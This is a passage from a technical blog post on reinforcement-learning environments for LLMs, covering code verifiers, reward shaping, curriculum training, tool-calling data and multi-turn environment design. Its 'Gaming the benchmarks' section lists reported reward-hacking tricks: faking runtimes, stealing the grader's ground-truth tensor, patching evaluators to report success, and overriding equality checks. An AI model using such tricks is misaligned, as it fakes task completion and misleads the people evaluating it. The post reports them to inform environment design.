├────────────────────────────┼───────────────────────────────────────────────┤
│ Action: ↑ ↓ ← →            │ Action: Generated text/code/toolcalls         │
│ Observation: Track state   │ Observation: Tool outputs, errors, feedback   │
│ Reward: +1 forward         │ Reward: Verifier score                        │
│ Done: Finish/Crash         │ Done: Task complete / max turns               │
│ Info: Lap time             │ Info: Execution trace                         │
└────────────────────────────┴───────────────────────────────────────────────┘
</code></pre></div></div>

<p>The critical difference lies in the <strong>Reward</strong>. In a game, the score is built into the engine—cross the finish line, get a point. In LLM training, we need to define what correctness means and build logic to verify it. This brings us to the first concept: Verification.</p>

<h1 id="reward-verification-strategies">Reward Verification strategies</h1>

<p>Every environment needs to answer two questions:</p>
<ol>
  <li><strong><em>“Did the model do it right?”</em></strong></li>
  <li><strong><em>“Should we keep going?”</em></strong>.</li>
</ol>

<p>In other words, we need a <em>verifier</em> to compute the reward and a <em>criterion</em> to decide if the task is done.</p>

<p>The verification method effectively <em>defines</em> what “good behavior” means for RL: the policy will learn to optimize whatever the verifier can reliably score. For math, this is often straightforward: extract the final number and compare it against a ground-truth answer. But for code, “correctness” is a spectrum rather than a single target. It involves satisfying a set of constraints—the code must run, produce the right outputs, and often meet style, safety, or efficiency standards. Naively string-matching source code doesn’t work because there are infinitely many equivalent implementations of the same function.</p>

<!-- making training more sample-efficient and enabling smarter inference-time regeneration strategies. -->

<p>Code verification strategies have converged to five main approaches, each with distinct tradeoffs that affect training dynamics.</p>

<h3 id="1-execution-only-verification">1. Execution-Only Verification</h3>

<p>The most lenient check: just ensure the code runs without crashing. This is useful for open-ended creative tasks or assigning partial credit for syntactically correct code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">verify_runs</span><span class="p">(</span><span class="n">code</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">sandbox</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
    <span class="k">return</span> <span class="mf">1.0</span> <span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="n">exit_code</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="mf">0.0</span>
</code></pre></div></div>

<p>For instance, <a href="https://arxiv.org/abs/2207.01780">CodeRL (Le et al., 2022)</a> treated code generation as an RL problem with execution-based rewards, using a critic network trained to predict functional correctness from four outcome categories: <strong>compile error</strong>, runtime error, failed tests, and passed tests.
<!-- The key innovation was that once trained, the critic could provide dense reward estimates during generation, complementing the sparse rewards from actual execution. --></p>

\[r(W_s) = \begin{cases} 
-1.0 &amp; \text{if } W_s \text{ cannot be compiled (compile error)} \\[0.5em]
-0.6 &amp; \text{if } W_s \text{ cannot be executed (runtime error)} \\[0.5em]
-0.3 &amp; \text{if } W_s \text{ failed any unit test} \\[0.5em]
+1.0 &amp; \text{if } W_s \text{ passed all unit tests}
\end{cases}\]

<p>We can see that instead of a sparse binary reward, we can get -1.0 (worst case: not compiled) or -0.6 (compiled but not executed), -0.3 (executed but failed any unit test), +1.0 (passed all unit tests) based on the outcome. This is a more informative reward signal that can help the model learn from its mistakes.</p>

<h3 id="2-inputoutput-matching">2. Input/Output Matching</h3>
<p>Here, we run the code and compare output against expected results. This can be done via stdin/stdout (language-agnostic) or by calling the function directly with arguments. Seen in benchmarks like <strong>LiveCodeBench</strong>, <strong>APPS</strong>, and <strong>CodeContests</strong>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">verify_stdin_stdout</span><span class="p">(</span><span class="n">code</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">test_case</span><span class="p">:</span> <span class="n">TestCase</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">sandbox</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">test_case</span><span class="p">.</span><span class="nb">input</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">==</span> <span class="n">test_case</span><span class="p">.</span><span class="n">expected_output</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">verify_functional</span><span class="p">(</span><span class="n">code</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">test_case</span><span class="p">:</span> <span class="n">TestCase</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="n">actual</span> <span class="o">=</span> <span class="n">sandbox</span><span class="p">.</span><span class="n">call_function</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">test_case</span><span class="p">.</span><span class="n">func_name</span><span class="p">,</span> <span class="n">test_case</span><span class="p">.</span><span class="nb">input</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">actual</span> <span class="o">==</span> <span class="n">test_case</span><span class="p">.</span><span class="n">expected_output</span>
</code></pre></div></div>

<h3 id="3-assertion-based-testing">3. Assertion-Based Testing</h3>
<p>Here, we wrap the solution in a test harness with <code class="language-plaintext highlighter-rouge">assert</code> statements (or unit tests). If the test script exits with code 0, the solution is correct. Seen in benchmarks like <strong>HumanEval</strong>, <strong>MBPP</strong>, etc.</p>

<blockquote>
  <p><strong>Note:</strong> <a href="https://github.com/evalplus/evalplus">EvalPlus</a> extended these datasets by generating <strong>80x more test cases</strong> for HumanEval and <strong>35x more</strong> for MBPP using automated input generation seeded by commercial LLMs.</p>
</blockquote>

<!-- The pass@k metric—probability that at least one of k samples passes all assertions—has become the standard evaluation paradigm. -->

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">verify_with_assertions</span><span class="p">(</span><span class="n">solution_code</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">test_code</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="c1"># assert candidate(input) == expected_output
</span>    <span class="c1"># test_code contains: assert candidate([1,2,3]) == 6
</span>    <span class="n">full_code</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">solution_code</span><span class="si">}</span><span class="se">\n\n</span><span class="si">{</span><span class="n">test_code</span><span class="si">}</span><span class="s">"</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">sandbox</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">full_code</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">exit_code</span> <span class="o">==</span> <span class="mi">0</span>
</code></pre></div></div>

<h3 id="4-bidirectional-verification">4. Bidirectional verification</h3>

<p>What makes Bidirectional verification interesting is that instead of optimizing just for code correctness, it is possible to <strong>optimize for both code correctness and unit test correctness in one go</strong>. <a href="https://arxiv.org/abs/2506.03136">CURE (Yin jie et al., 2025)</a> proposes co-evolving a coder and unit tester within a single policy (a.k.a LLM).</p>

<p>For each task, the model generates <em>n</em> code solutions and <em>m</em> unit tests, then executes all codes against all tests (ground-truth tests and the generated unit tests) to build a binary pass/fail matrix <strong>B</strong>*. Code rewards are simply the number of ground-truth tests passed. The clever part is the unit test reward: <strong>+1</strong> for correct behavior (passing correct code, failing incorrect code), <strong>−1</strong> for incorrect behavior (failing correct code, passing incorrect code) - where code “correctness” is determined by ground-truth tests. Both reward signals are normalized and fed into GRPO to update the shared policy.</p>

<p class="notice--info"><strong>💡 Intuition:</strong> A good unit test gets positive reward when it: (1) passes ALL correct code solutions, AND (2) fails as many incorrect code solutions as possible. A bad unit test gets negative reward when it: fails correct code solutions OR passes too many incorrect code solutions.</p>

<iframe src="https://gitlostmurali.com//assets/visualizations/rl_envs/curepipeline.html" style="width: 100%; height: 660px; border: none; border-radius: 16px; margin: 24px 0;" loading="lazy" title="CURE Pipeline Interactive Visualization">
</iframe>

<!-- A production-grade **Code Environment** combines these into a single `step` method. It takes the model's code (Action), runs the verification suite, and returns the results.

```python
class SingleTurnCodeEnv(Environment):
    def __init__(self, problem: str, test_cases: List[TestCase]):
        self.problem = problem
        self.test_cases = test_cases
    
    def step(self, llm_code: str) -> Tuple[str, float, bool, dict]:
        results = []
        for tc in self.test_cases:
            # Run the chosen verification strategy
            passed = self.sandbox.run_with_assertions(llm_code, tc.assertions)
            results.append(passed)
        
        # Calculate dense reward (percentage of tests passed)
        reward = sum(results) / len(results)
        return "", reward, True, {"passed": sum(results)}
``` -->

<h1 id="the-reward-engineering-challenge">The Reward Engineering Challenge</h1>

<p>The reward function determines training dynamics more than any other design choice. The field has learned hard lessons about reward hacking, with frontier models now actively manipulating evaluation code when given the opportunity. For instance, <a href="https://techcrunch.com/2025/02/21/sakana-walks-back-claims-that-its-ai-can-dramatically-speed-up-model-training/">SakanaAI had to walk back claims</a> about their AI speeding up model training after discovering it was gaming the metrics. Similarly, <a href="https://evaluations.metr.org/openai-o3-report/#reward-hacking-examples">METR’s O3 evaluation</a> documented numerous reward hacking examples from OpenAI’s o3 model.</p>

<h2 id="the-strict-reward-trap">The Strict Reward Trap</h2>

<p>Binary rewards worked surprisingly well for <a href="https://arxiv.org/abs/2501.12948">Deepseek-R1</a>, but in practice, strict binary rewards on complex tasks can often stall learning as there is no success signal to guide the learning. One mitigation would be to further finetune the LLM (SFT) on the task solutions before RL training. But beyond that, we usually need to shape the reward better.</p>

<h2 id="partial-rewards-a-double-edged-sword">Partial Rewards: A Double-Edged Sword</h2>

<!-- TODO: mention this as PRM (Process Reward Modelling) -->
<p>Giving <strong>partial rewards for progress</strong> seems like a good idea. In coding, perhaps give 0.1 reward for passing a single test case out of 10 (so 0.7 if it passes 7/10 tests). This dense feedback can help the model improve incrementally so that it’s not all-or-nothing.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Seems reasonable...
</span><span class="n">reward</span> <span class="o">=</span> <span class="mf">0.1</span> <span class="o">*</span> <span class="n">moved_forward</span> <span class="o">+</span> <span class="mf">0.5</span> <span class="o">*</span> <span class="n">avoided_obstacle</span> <span class="o">+</span> <span class="mf">1.0</span> <span class="o">*</span> <span class="n">finished</span>
</code></pre></div></div>

<p>However, dense rewards come with a trap: <strong>reward hacking</strong>. The agent might find a way to exploit the reward structure rather than solving the actual task. This is particularly problematic in environments where looping or repetitive behavior can accumulate rewards.</p>

<h3 id="reward-hacking">Reward Hacking</h3>

<p>A classic example comes from <a href="https://openai.com/index/faulty-reward-functions/">OpenAI’s research on faulty reward functions</a>. In the boat racing game <a href="http://www.kongregate.com/games/longanimals/coast-runners">CoastRunners</a>,</p>

<blockquote>
  <p>The targets were laid out in such a way that the RL agent <strong>could gain a high score without having to finish the course</strong>. Instead of racing, it found an isolated lagoon where it could turn in a large circle and repeatedly knock over three targets, timing its movement to always hit them just as they respawned. Despite repeatedly catching fire, crashing into other boats, and going the wrong way on the track, the agent achieved a score <strong>20% higher</strong> than human players by completely ignoring the intended objective.</p>
</blockquote>

<figure style="max-width: 600px; margin: 0 auto;">
    <video controls="" style="width: 100%; height: auto; border-radius: 8px;">
        <source src="https://gitlostmurali.com//assets/vids/rl_envs/CoastRunners_rl.mov" type="video/quicktime" />
        Your browser does not support the video tag.
    </video>
    <figcaption><b>Figure:</b> <i>OpenAI's CoastRunners agent exploiting the reward function—scoring higher by circling in a lagoon than by actually racing. <a href="https://openai.com/index/faulty-reward-functions/">Source: OpenAI</a></i></figcaption>
</figure>

<h4 id="gaming-the-benchmarks">Gaming the benchmarks</h4>

<p>Reward Hacking has become alarmingly sophisticated. <a href="https://metr.org/blog/2025-06-05-recent-reward-hacking/">METR research (June 2025)</a> found o3 reward-hacking in 100% of runs on <a href="https://github.com/METR/RE-Bench/tree/main/ai_rd_optimize_llm_foundry">certain tasks</a>, with 30.4% hacking rate across <a href="https://github.com/METR/RE-Bench">RE-Bench</a> overall. Documented exploits include: monkey-patching <code class="language-plaintext highlighter-rouge">torch.cuda.synchronize</code> to fake faster runtimes, tracing the Python call stack to steal the grader’s ground_truth tensor, patching evaluation functions to return “succeeded: True”, and overwriting PyTorch’s <code class="language-plaintext highlighter-rouge">__eq__</code> operator to always return <code class="language-plaintext highlighter-rouge">True</code>.</p>

<!-- ```
Total: 1.6                    Total: ∞ (loops forever!)
Expected behavior:          Reward-hacked behavior:
                            
   START                       START
     │                           │
     ▼                           ▼
  ┌─────┐                     ┌─────┐
  │Move │ +0.1                │Move │ +0.1
  │Fwd  │                     │Fwd  │
  └──┬──┘                     └──┬──┘
     │                           │
     ▼                           ▼
  ┌─────┐                     ┌─────┐
  │Avoid│ +0.5                │Turn │ ◄─────┐
  │Obst │                     │Left │       │
  └──┬──┘                     └──┬──┘       │
     │                           │          │
     ▼                           ▼          │
  ┌─────┐                     ┌─────┐       │
  │Finish│ +1.0               │Move │ +0.1  │
  │ Race │                    │Fwd  │───────┘
  └─────┘                     └─────┘
                              
``` -->

<p>So how do we avoid stalled learning from sparse rewards <em>without</em> inviting reward hacking? One effective strategy is to control the <em>difficulty</em> of tasks the model sees during training.</p>

<h2 id="curriculum-training">Curriculum Training</h2>

<p>RL training is most effective when tasks are neither too easy nor too hard. Curriculum training solves this problem by dividing training into a few manually-defined phases of increasing difficulty (<a href="https://arxiv.org/abs/2503.10460">Wen et al., 2025</a>; <a href="https://pretty-radio-b75.notion.site/DeepScaleR-Surpassing-O1-Preview-with-a-1-5B-Model-by-Scaling-RL-19681902c1468005bed8ca303013a4e2">Luo et al., 2025</a>; <a href="https://arxiv.org/abs/2503.17287">Song et al., 2025</a>), but these are coarse-grained and
lack adaptivity. <strong>Adaptive curriculum learning</strong> addresses these issues by matching problem difficulty to the model’s evolving capabilities.</p>

<p><a href="https://arxiv.org/abs/2511.07317">RLVE (Zeng et al., 2025)</a> introduced a large-scale suite of 400 math and reasoning environments that procedurally generate tasks based on the model’s capabilities as training progresses.</p>

<p><a href="https://arxiv.org/abs/2504.05520">AdaRFT (Shi et al., 2025)</a> maintain a target difficulty level $T$ that evolves based on recent rewards. When average reward exceeds target ($\beta=0.5$) (also proposed by <a href="https://arxiv.org/abs/2506.05316v1">DOTS (Yifan et al., 2025)</a>), difficulty increases; otherwise, it decreases. Their approach uses an external LLM (Qwen 2.5 MATH 7B) to estimate difficulty based on the success rate over 128 attempts. They observed a 2x reduction in training steps while improving accuracy.</p>

<iframe src="https://gitlostmurali.com//assets/visualizations/rl_envs/adarft.html" style="width: 100%; height: 800px; border: none; border-radius: 16px; margin: 24px 0;" loading="lazy" title="AdaRFT Pipeline Interactive Visualization">
</iframe>

<!-- [INTELLECT-3 (Prime Intellect Team, 2025)](https://arxiv.org/abs/2512.16144) &  -->

<p><a href="https://arxiv.org/abs/2511.09478">AdaCuRL (Li et al., 2025)</a> addresses gradient starvation by partitioning training data into difficulty buckets and progressively merging harder buckets based on the accuracy reward of the policy’s current state. Crucially, earlier buckets remain in the training set after merges, providing a data revisitation mechanism <strong>to mitigate catastrophic forgetting</strong>. <a href="https://arxiv.org/abs/2512.16144">INTELLECT-3 (Prime Intellect Team, 2025)</a> takes a lighter-weight approach: problems are sorted into difficulty pools (easy, normal, hard) based on observed solve rates, and sampling ratios from each pool are adjusted dynamically. An online filter discards trivial rollouts that provide no learning signal. Unlike AdaCuRL, INTELLECT-3 does not explicitly address catastrophic forgetting through bucket merging.</p>

<!-- CITE: TODO: write about -->
<!-- <iframe 
  src="https://gitlostmurali.com//assets/visualizations/rl_envs/intellect3_curriculum.html" 
  style="width: 100%; height: 1000px; border: none; border-radius: 16px; margin: 24px 0;"
  loading="lazy"
  title="INTELLECT-3 Curriculum Training Interactive Visualization">
</iframe> -->

<!-- Specifically, we can start with easier tasks and gradually increase difficulty.  -->

<!-- Fine-tuning on problems that are too easy or too hard leads to poor learning outcomes. Instead, the model should be trained on problems whose difficulty is close to the model's current capability. -->

<!-- Prime Intellect maintains difficulty levels in their benchmarks, primarily based on solvability by smaller models like Qwen-4B: -->

<!-- Notes: By optimizing a policy model with reward signals that reflect task success, RFT enables more targeted
learning than supervised finetuning (SFT) alone. However, despite its promise, RFT remains sample-
inefficient and computationally expensive.

Staged curricula divide training into a few manually-defined phases of increasing
difficulty (Wen et al., 2025; Luo et al., 2025; Song et al., 2025), but these are coarse-grained and
lack adaptivity. Other methods use online data filtering, repeatedly rolling out and pruning training
samples until the model’s average reward meets a target threshold (Bae et al., 2025; Yu et al., 2025).
While this approach helps prevent the model from stagnating on problems that are either too easy or
too difficult, it is not truly adaptive and incurs significant rollout overhead. -->

<!-- The intuition is simple: learning is most effective when tasks
are neither too easy nor too hard. ADARFT formalizes this by maintaining a target difficulty level,
which increases or decreases based on recent reward feedback. At each step, the model is trained on
examples closest to this target, promoting a steady progression through solvable yet challenging tasks.
The full algorithm is outlined in Algorithm 1 -->

<h2 id="adaptive-environments">Adaptive Environments</h2>

<p>An extension to adaptive curriculum learning is to make the environment itself adaptive. Instead of fixed rubrics/reward functions, we can update them based on the model’s performance.</p>

<p><a href="https://arxiv.org/abs/2511.19399">DR Tulu (Shao et al., 2025)</a> introduced evolving rubrics for open-ended tasks. Static RLVR only works for short-form QA with verifiable answers. RLER (Reinforcement Learning with Evolving Rubrics) creates dynamic rubrics that co-evolve with the policy model, incorporating newly searched information from the environment rather than just LM parametric knowledge. Static rubrics are vulnerable to reward hacking; evolving rubrics adapt to training dynamics.</p>

<!-- - **AdaRFT** ([Shi et al., 2025](https://arxiv.org/abs/2504.05520)): Adaptive Reinforcement Finetuning dynamically adjusts training problem difficulty based on the model's recent reward signals. If the model is struggling, it sees easier problems; if it's succeeding, difficulty increases automatically.

- **AdaCuRL** ([Li et al., 2025](https://arxiv.org/abs/2511.09478)): Integrates coarse-to-fine difficulty estimation with adaptive curriculum scheduling. It also incorporates a data revisitation mechanism to mitigate catastrophic forgetting-the model periodically revisits easier problems to retain earlier capabilities. -->

<!-- TODO: cover CAPO later
- **CAPO** ([Yang et al., 2025](https://arxiv.org/abs/2512.02580)): Curriculum Advantage Policy Optimization bootstraps imitation learning with positive-only advantage samples, using curriculum mechanisms to improve generalization across complex reasoning tasks. -->

<!-- TODO: write about this
[Software agents can self-improve via self-play RL](https://x.com/YuxiangWei9/status/2003541373853524347)
og-paper-> [arxiv for self-play RL](https://arxiv.org/abs/2512.18552) -->

<h1 id="tool-calling-from-llms-to-agents">Tool Calling: From LLMs to Agents</h1>

<p>To convert benchmark scores into real-world value ($$$), we want LLMs to perform tasks beyond their parametric knowledge like searching the web, reading files, querying databases, calling APIs, writing reports, etc. A number of SFT datasets already exist to train good tool calling models:</p>

<table>
  <thead>
    <tr>
      <th>Dataset</th>
      <th>Size</th>
      <th>APIs</th>
      <th>Source</th>
      <th>Quality Issues</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ToolBench</td>
      <td>126K pairs</td>
      <td>16,464</td>
      <td>RapidAPI</td>
      <td>50% query hallucination rate</td>
    </tr>
    <tr>
      <td>xLAM-60k</td>
      <td>60K</td>
      <td>3,673</td>
      <td>APIGen pipeline</td>
      <td>95%+ verified correct</td>
    </tr>
    <tr>
      <td>Glaive v1/v2</td>
      <td>52K / 113K</td>
      <td>Synthetic</td>
      <td>Proprietary generation</td>
      <td>Model may hallucinate functions</td>
    </tr>
    <tr>
      <td>API-Blend</td>
      <td>~160K</td>
      <td>Multi-source</td>
      <td>Curated transforms</td>
      <td>Limited nested/parallel calls</td>
    </tr>
    <tr>
      <td>Gorilla/APIBench</td>
      <td>11K</td>
      <td>1,645</td>
      <td>HF/TorchHub/TensorHub</td>
      <td>No execution verification</td>
    </tr>
    <tr>
      <td>ToolAlpaca</td>
      <td>3,938</td>
      <td>400+</td>
      <td>Multi-agent simulation</td>
      <td>Limited tool diversity</td>
    </tr>
  </tbody>
</table>

<!-- reveals that in ToolBench, 57.3% of queries contain unsolvable requests or incomplete information, and more critically, 74% of API call trajectories exhibit hallucination behaviors. -->

<!-- To enable the tool calling behavior, we must generate diverse synthetic data, manage tool complexity, and understand the specific failure modes that emerge. For instance, we must generate data that covers the edge cases of tool calling, such as empty results, timeouts, and parameter hallucination. -->

<!-- To train such an LLM to be a good multi-turn and tool calling agent, we must first make the LLM better at tool calling and later throw it into multi-turn environments with tool calling capabilities. However, handcrafting these environments is time-consuming and error-prone. -->

<!-- (after thorough data cleaning [Quality Matters - Iskander et al. (2024)](https://aclanthology.org/2024.emnlp-main.285/)  -->

<h2 id="real-world-tool-use-is-hard">Real World Tool Use is Hard</h2>

<p>Even after achieving a good general purpose tool calling model, real world tool use is still hard for LLMs because:</p>

<ol>
<li><strong>Coverage of your tools:</strong> Public datasets cover generic APIs like weather, booking, search. But if you're building an agent for your company's internal systems, there's no dataset for your proprietary CRM or custom database schema. You need to generate environments reflecting your specific tool interfaces.</li>

<li><strong>Multi-turn and error handling:</strong> Most datasets focus on single-turn function calling: user asks, model calls function, done. Real agents need to handle failures gracefully, ask clarifying questions, and chain tools across turns. This multi-turn data is harder to find and harder to synthesize.</li>

<li><strong>Scaffolding matters:</strong> The <em>scaffold</em>, the orchestration layer around your agent (e.g., Claude Code, OpenHands), controls how tools are presented, ordered, and filtered to the agent's context. These details compound into big performance swings: on SWE-bench Verified, <a href="https://epoch.ai/gradient-updates/why-benchmarking-is-hard">simply switching the scaffold causes up to 11% difference for GPT-5 and 15% for Kimi K2. In fact, the choice of scaffold has the single biggest impact on overall agent performance.</a> This is why you need to train and evaluate on environments that mirror your actual deployment, not just generic benchmarks.

<figure style="max-width: 600px; margin: 1em auto;">
    <a href="https://gitlostmurali.com//assets/images/environments/swebench_comparison-epochai.png"><img src="https://gitlostmurali.com//assets/images/environments/swebench_comparison-epochai.png" style="width: 100%; height: auto;" /></a>
    <figcaption><b>Figure:</b> <i>The choice of agent scaffold has a large impact on SWE-bench Verified score. <a href="https://epoch.ai/gradient-updates/why-benchmarking-is-hard">Source: Epoch AI</a></i></figcaption>
</figure>
</li>

<li><strong>Cost and infrastructure:</strong> Even once you've defined your custom environment, hitting live APIs for thousands of training queries is slow, costly, and sometimes impractical—APIs may require authentication, have rate limits, or charge per call.</li>
</ol>

<p>To handle these challenges, we need synthetic environments reflecting our specific tools, workflows, and orchestration. But do we actually need to hit real APIs to train on them?</p>

<h2 id="simulating-tool-responses">Simulating Tool Responses</h2>

<p>In nearly all cases, the answer is no—and it’s usually undesirable to do so. Instead, researchers have used two strategies:</p>

<p><strong>1. Mock implementations:</strong> For certain tools, you can write a simple function that mimics the API. For example, for a <code class="language-plaintext highlighter-rouge">get_exchange_rate(base, target)</code> tool, you might implement a stub that returns a made-up exchange rate. This was done in the BFCL evaluation when the authors manually wrote Python functions for things like weather info or mortgage calculations so that they could execute the model’s function calls and check correctness [<a href="https://gorilla.cs.berkeley.edu/blogs/8_berkeley_function_calling_leaderboard.html#:~:text=Each%20category%20has%20both%20AST,calls%20in%20the%20real%20world">Source: BFCL</a>]. In training data, however, it’s more common to simply embed an example response directly rather than executing a stub on the fly.</p>

<p><strong>2. LLM-based simulation:</strong> An intriguing byproduct of these efforts is that the LLM itself can serve as a mock API server. Instead of hitting real external services during training (which is slow, costly, and potentially insecure), one can prompt an LLM to pretend to be the tool. For instance, given a function spec like <code class="language-plaintext highlighter-rouge">get_weather(city)</code> and some internal knowledge or sample data, the LLM can generate a plausible response <code class="language-plaintext highlighter-rouge">({"temp": 15, "condition": "Cloudy"})</code> which is then fed back to the agent model. The big advantage is flexibility: you can generate infinite variations of tool responses (including erroneous ones) to make the model robust, and you don’t need your actual API keys during training. The downside is that a simulator might not capture every nuance of a real tool’s behavior, so a mix of simulated and real testing is ideal.</p>

<p>Is this simulation realistic? It can be. Recent research has started to quantitatively evaluate how well an LLM can imitate a real API. <a href="https://aclanthology.org/2025.findings-acl.273/">MirrorAPI (Guo et al., 2025)</a> is a system that fine-tunes an LLM specifically to mimic API outputs given the API documentation and a user query. They measured the similarity between the simulated responses and the true API responses across hundreds of real API calls. They found that the fine-tuned simulator achieved very high BLEU scores and cosine similarity to the real outputs. In other words, a well-trained “API simulator” can produce outputs almost indistinguishable from the real API, including error messages and edge-case behaviors. This finding has big implications. <a href="https://aclanthology.org/2025.findings-acl.273/">MirrorAPI</a> was used to create a complete simulated tool-use benchmark, <a href="https://aclanthology.org/2025.findings-acl.273/">StableToolBench</a>, where the agent interacts with simulated APIs – avoiding all the unpredictability of calling external services during evaluation.</p>

<!-- It means we can confidently train our agent on simulated tool interactions, and even use such a simulator as a drop-in for an API during testing or RL training.  -->

<h2 id="context-confusion-the-tool-complexity-problem">Context Confusion: The Tool Complexity Problem</h2>

<p>The rise of <a href="https://modelcontextprotocol.io/docs/getting-started/intro">MCP (Model Context Protocol)</a> and agentic frameworks (<a href="https://ai.pydantic.dev">PydanticAI</a>) made it easier to connect many tools to an LLM. But this tool cocktail can lead to <a href="https://www.dbreunig.com/2025/06/22/how-contexts-fail-and-how-to-fix-them.html#context-confusion">Context Confusion</a>, which usually manifests as <strong>benchmark score degradation</strong>. Specifically, when there’s only one tool available, agent’s downstream performance is higher than when the model must choose among many.</p>

<p>A curriculum approach might work here: master single tools first, then tool families (all file operations, all web APIs), then full environments with all tools available. The MCP ecosystem is expanding with standardized interfaces, but the fundamental challenge remains—more tools means more interference during training. This is another reason why your scaffold matters (see point 3 above): how tools are ordered, filtered, and presented in context directly affects whether the agent gets confused by too many options.</p>

<h1 id="multi-turn-rl-training">Multi-Turn RL Training</h1>

<p>With the right verification, reward shaping, and curriculum design, we can train an LLM that’s great at single-turn math and code. But real-world agents are messier—they need to <em>ask clarifying questions</em>, <em>fix mistakes</em>, <em>recover from errors</em>, and <em>chain tools</em> across multiple steps.</p>

<h2 id="what-changes-in-multi-turn">What Changes in Multi-Turn?</h2>

<p>Single-turn RL is conceptually simple: one prompt → one response → one reward. Multi-turn introduces new challenges:</p>

<table>
  <thead>
    <tr>
      <th>Challenge</th>
      <th>Single-Turn</th>
      <th>Multi-Turn</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Credit assignment</strong></td>
      <td>Direct: response → reward</td>
      <td>Delayed: which turn caused failure?</td>
    </tr>
    <tr>
      <td><strong>State management</strong></td>
      <td>Stateless</td>
      <td>Conversation history, tool state</td>
    </tr>
    <tr>
      <td><strong>Stopping criteria</strong></td>
      <td>Always done after 1 turn</td>
      <td>When to stop? Max turns? Success signal?</td>
    </tr>
    <tr>
      <td><strong>Reward timing</strong></td>
      <td>End of response</td>
      <td>End of episode? Per-turn?</td>
    </tr>
  </tbody>
</table>

<p>The fundamental question becomes: <strong>how do you assign reward to individual turns when success depends on the whole trajectory?</strong></p>

<h2 id="trajectory-level-vs-turn-level-rewards">Trajectory-Level vs Turn-Level Rewards</h2>

<p>Most multi-turn RL work uses <strong>trajectory-level rewards</strong>—you get a single reward at the end of the episode based on task success. This is simpler but suffers from credit assignment problems (which turn was good/bad?).</p>

<p>An alternative is <strong>turn-level rewards</strong>, where each turn gets partial credit. But this reintroduces reward hacking risks we discussed earlier—the agent might learn to maximize intermediate rewards without solving the task.</p>

<p><a href="https://arxiv.org/abs/2407.16741">OpenHands (Wang et al., 2024)</a> and <a href="https://arxiv.org/abs/2405.15793">SWE-agent (Yang et al., 2024)</a> both use trajectory-level binary rewards (did you solve the GitHub issue?) with the simplicity of: reward = 1 if tests pass, else 0.</p>

<h2 id="environment-architecture">Environment Architecture</h2>

<p>Libraries like <a href="https://github.com/PrimeIntellect-ai/verifiers">verifiers</a> handle multi-turn complexity through environment inheritance, where each layer adds new capabilities:</p>

<table>
  <thead>
    <tr>
      <th>Layer</th>
      <th>What it adds</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Environment</strong></td>
      <td>Base protocol: <code class="language-plaintext highlighter-rouge">reset()</code>, <code class="language-plaintext highlighter-rouge">step()</code>, reward</td>
    </tr>
    <tr>
      <td>  <strong>↳ MultiTurnEnv</strong></td>
      <td>Conversation history, turn limits, stopping conditions</td>
    </tr>
    <tr>
      <td>    <strong>↳ ToolEnv</strong></td>
      <td>Parses tool calls, executes them, returns results</td>
    </tr>
    <tr>
      <td>      <strong>↳ StatefulToolEnv</strong></td>
      <td>Persistent state across tool calls (files, DBs)</td>
    </tr>
    <tr>
      <td>        <strong>↳ SandboxEnv</strong></td>
      <td>Isolated execution environments</td>
    </tr>
    <tr>
      <td>          <strong>↳ CodeEnv</strong></td>
      <td>Code execution with safety boundaries</td>
    </tr>
  </tbody>
</table>

<p>Each layer builds on the previous. The key insight: <strong>multi-turn environments need to manage state that persists across the episode</strong>—file changes, database writes, git commits. This is what makes sandboxing critical.</p>

<p>These abstractions hide real operational complexity—especially at scale. Consider what’s required to run agents on <a href="https://www.swebench.com/">SWE-bench</a>:</p>

<p><strong>For each task instance, we need to:</strong></p>
<ol>
  <li>Clone the target repository (could be Django, scikit-learn, matplotlib—each with different dependencies)</li>
  <li>Checkout the specific <strong>base commit</strong> that existed before the bug was introduced</li>
  <li>Install the project’s dependencies in an isolated environment</li>
  <li>Apply any environment-specific patches or configurations</li>
  <li>Set up the test harness to verify the fix</li>
</ol>

<p><strong>The infrastructure cost adds up:</strong></p>
<ul>
  <li>Docker images for SWE-bench can reach <strong>160GB+ total</strong> across all project environments</li>
  <li>Each environment requires <strong>16GB+ RAM</strong> for comfortable operation</li>
